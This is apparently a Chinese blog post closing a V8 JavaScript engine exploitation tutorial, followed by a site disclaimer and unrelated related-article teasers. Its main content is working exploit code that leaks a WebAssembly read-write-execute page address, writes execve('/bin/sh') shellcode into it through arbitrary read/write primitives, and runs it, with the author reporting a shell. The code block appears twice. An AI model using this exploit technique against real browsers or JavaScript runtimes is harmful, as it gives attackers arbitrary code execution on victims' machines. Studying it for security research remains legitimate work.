function leak_rwxpage(fun_addr)
{
    var shared_info_addr = read64(fun_addr + 0x18n) - 0x1n;
    var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
    var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
    var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
    return rwx_page_addr;
}
function get_wasm_fun()
{
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    return wasmInstance.exports.main;
}
var f = get_wasm_fun();
var f_addr = addressof(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var rwx_page=leak_rwxpage(f_addr);
console.log("[*] leak rwx_page: 0x" + hex(rwx_page));

获取到了rwx的地址,然后用之前的任意地址写直接将getshell的shellcode写进去,最后执行wasm函数就ok了

function leak_rwxpage(fun_addr)
{
    var shared_info_addr = read64(fun_addr + 0x18n) - 0x1n;
    var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
    var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
    var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
    return rwx_page_addr;
}
function get_wasm_fun()
{
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    return wasmInstance.exports.main;
}
var f = get_wasm_fun();
var f_addr = addressof(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var rwx_page=leak_rwxpage(f_addr);
console.log("[*] leak rwx_page: 0x" + hex(rwx_page));
//get_shell();
//shellcode=[7955998173821429866n, 16683945804937768751n, 2608851925472997992n, 7662582506348151041n, 9892252127383281160n, 364607107058774502n];
var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];
for(let i=0n;i<3n;i++)
{
    writeDataview(rwx_page+8n*i,shellcode[i]);
}
// trigger shellcode
//%SystemBreak();
f();

最后的效果,成功执行了execve(“/bin/sh”)
在这里插入图片描述

入门一到此结束了捏

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/238932.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

企业IT安全:内部威胁检测和缓解

什么是内部威胁 内部威胁是指由组织内部的某个人造成的威胁&#xff0c;他们可能会造成损害或窃取数据以谋取自己的经济利益&#xff0c;造成这种威胁的主要原因是心怀不满的员工。 任何内部人员&#xff0c;无论是员工、前雇员、承包商、第三方供应商还是业务合作伙伴&#…

商城免费搭建之java商城 java电子商务Spring Cloud+Spring Boot+mybatis+MQ+VR全景+b2b2c 鸿鹄云商

鸿鹄云商 SAAS云产品概述 【SAAS云平台】打造全行业全渠道全场景的SaaS产品&#xff0c;为店铺经营场景提供一体化解决方案&#xff1b;门店经营区域化、网店经营一体化&#xff0c;本地化、全方位、一站式服务&#xff0c;为多门店提供统一运营解决方案&#xff1b;提供丰富多…

智能优化算法应用:基于鸡群算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于鸡群算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于鸡群算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.鸡群算法4.实验参数设定5.算法结果6.参考文献7.MA…

瑞盟OP07运算放大器可Pin to Pin兼容OP07

瑞盟 OP07 是一款低失调电压的运算放大器&#xff0c;它采用晶圆级的修调来消除失调&#xff0c;同时还可以通过外部电路进一步减小失调电压。可Pin to Pin兼容OP07。同时具有极低的偏置电流&#xff08;只有 4nA&#xff09;以及很高的开环增益&#xff08;最小 200V/mV&#…

最新可运营版博客流量主小程序

源码简介 全新修复版的博客流量主小程序【运营版】&#xff0c;现在支持个人用户搭建自己的小程序&#xff0c;发布文章&#xff0c;还能通过查看文章和点击下载来观看广告。这个版本经过多次更新&#xff0c;解决了一些问题&#xff0c;让用户体验更加顺畅。 我们听到了你们…

生活中必不可缺的免费的解压文件APP

解压精灵 解压&#xff01;我真的要极力推荐&#xff01;&#xff01; 手机软件商店里下载的解压软件只能免费解压几次&#xff1f;用几次就要开通vip才可以解压&#xff0c;给宝子们推荐一款免费的解压软件&#xff0c;速度是普通解压软件的数倍&#xff0c;并且免费无限使用&…

数学常识 公理·定义·定理·引理·推论的区别

数学常识 公理定义定理引理推论的区别 事先规定出来的公理&#xff08;Axiom&#xff09;定义&#xff08;Definition&#xff09; 推论出来的定理&#xff08;Theorem&#xff09;引理&#xff08;Lemma&#xff09;推论&#xff08;Corollary&#xff09; 逻辑图地址 事先规定…

HCIA-H12-811题目解析(9)

1、【单选题】下面选项中&#xff0c;能使一台IP地址为10.0.0.1的主机访问Interne的必要技术是&#xff1f; 2、【单选题】 FTP协议控制平面使用的端口号为&#xff1f; 3、【单选题】 使用FTP进行文件传输时&#xff0c;会建立多少个TCP连接&#xff1f; 4、【单选题】完成…

打工人副业变现秘籍,某多/某手变现底层引擎-Stable Diffusion 真人照片转动漫风格

相信我们很多人在看过动漫/动画后,都想看一看二次元世界中的自己长什么样子,那今天就以客户照片为例,说说我们如何用 Stable Diffusion,让 AI 帮我们将真实照片转成一个绝美二次元少女,Let’s do it~ 客户原图照片如下,希望转成二次元甜美少女。 1. 打开 Web UI …

卷积神经网络(CNN)中感受野的计算问题

感受野 在卷积神经网络中&#xff0c;感受野&#xff08;Receptive Field&#xff09;的定义是卷积神经网络每一层输出的特征图&#xff08;feature map&#xff09;上每个像素点在原始图像上映射的区域大小&#xff0c;这里的原始图像是指网络的输入图像&#xff0c;是经过预处…

Java体系总结

Java体系总结 Java技术体系总结涵盖了Java基础&#xff08;Java运行原理、运行环境、Java特性、集合、线程、JVM、SPI&#xff09;、Netty框架、Https原理、Spring框架、SpringBoot框架的知识整理 目录 Java体系总结一、Java基础1、Java运行原理2、运行环境3、Java特性1&#x…

Liunx系统安装mysql数据库

一、环境检查 1、检查本地是否安装MySQL服务&#xff1b; 2、下载MySQL安装包&#xff1b; 3、查看下载的文件 4、解压MySQL文件 5、安装MySQL 6、检查MySQL数据库安装情况 7、启动MySQL 8、查看MySQL安装初始密码 9、登录MySQL 10、设置远程授权 11、关闭防火墙

??题-结构体两个人成绩比较输出分数高的【有问题,可是不知道在那里】

#include<stdio.h>struct stu{long int num;char name[10];double score;}a[2];int main(){ int i;for(i0;i<2;i)scanf("%ld,%s,%lf",&a[i].num,&a[i].name,&a[i].score);if(a[0].score>a[1].score)printf("分数高的学号和姓名是&…

STL--关联式容器底层实现

关联式容器从底层实现分为两类&#xff1a;①红黑树&#xff1a;set、map、multiset和multimap ②哈希&#xff1a;unordered_set、unordered_map、unordered_multiset和unordered_multimap。 一、红黑树 它是⼀种特殊的⼆叉查找树。红⿊树的每个节点上都有存储位表示节点的颜…

PNG素材,这6个网站全部免费下。

从事设计类工作的朋友在日常工作中&#xff0c;需要经常用到PNG免抠素材&#xff0c;为了给大家节省时间&#xff0c;提高工作效率&#xff0c;推荐6个我收藏的免抠素材网站&#xff0c;从此以后就能告别PS扣图啦&#xff0c;一定要收藏好。 1、菜鸟图库 https://www.sucai999…

【改进YOLOv8】杂草识别系统:融合YOLO-MS的MS-Block改进YOLOv8

1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 研究背景与意义 随着人工智能技术的不断发展&#xff0c;计算机视觉领域的研究也取得了巨大的进展。目标检测是计算机视觉中的一个重要任务&#xff0c;它的应用范围广泛&#x…

可视化监控云平台/智能监控EasyCVR如何使用脚本创建ramdisk挂载并在ramdisk中临时运行

视频云存储/安防监控EasyCVR视频汇聚平台基于云边端智能协同&#xff0c;支持海量视频的轻量化接入与汇聚、转码与处理、全网智能分发、视频集中存储等。安防管理视频平台EasyCVR拓展性强&#xff0c;视频能力丰富&#xff0c;具体可实现视频监控直播、视频轮播、视频录像、云存…

修改 vCenter Server 的 FQDN | hostname | PNID

目录 1 先决条件2. 修改 VC 7.0.3 hostname&#xff08;1&#xff09;备份 VCSA&#xff08;2&#xff09;为VCSA的新hostname创建DNS记录&#xff08;3&#xff09;修改 VCSA 的hostname① 进入vCenter Server VAMI② 查看当前 FQDN③ 编辑网络设置④ 选择网络适配器⑤ 修改 h…

Vue中各种混淆用法汇总

目录 Vue是一个流行的JavaScript框架&#xff0c;许多开发人员都在使用它来构建动态Web应用程序。在使用Vue时&#xff0c;会遇到各种混淆的用法&#xff0c;这些用法可以让您更有效地使用Vue。在本篇文章中&#xff0c;我们将介绍Vue中各种混淆的用法&#xff0c;并提供相应的…

智慧物联|消防物联网监管指挥平台实现对物联网消防警情的全面监测和智能管理

智慧消防是以物联网技术为基础的一种创新型监管指挥系统。它通过集成无线传感器、云计算和大数据分析等先进技术&#xff0c;实现对消防设备和消防员的全方位监测和管理。在传统的消防管理模式中&#xff0c;往往存在信息闭塞、响应速度慢等问题&#xff0c;而智慧消防系统的应…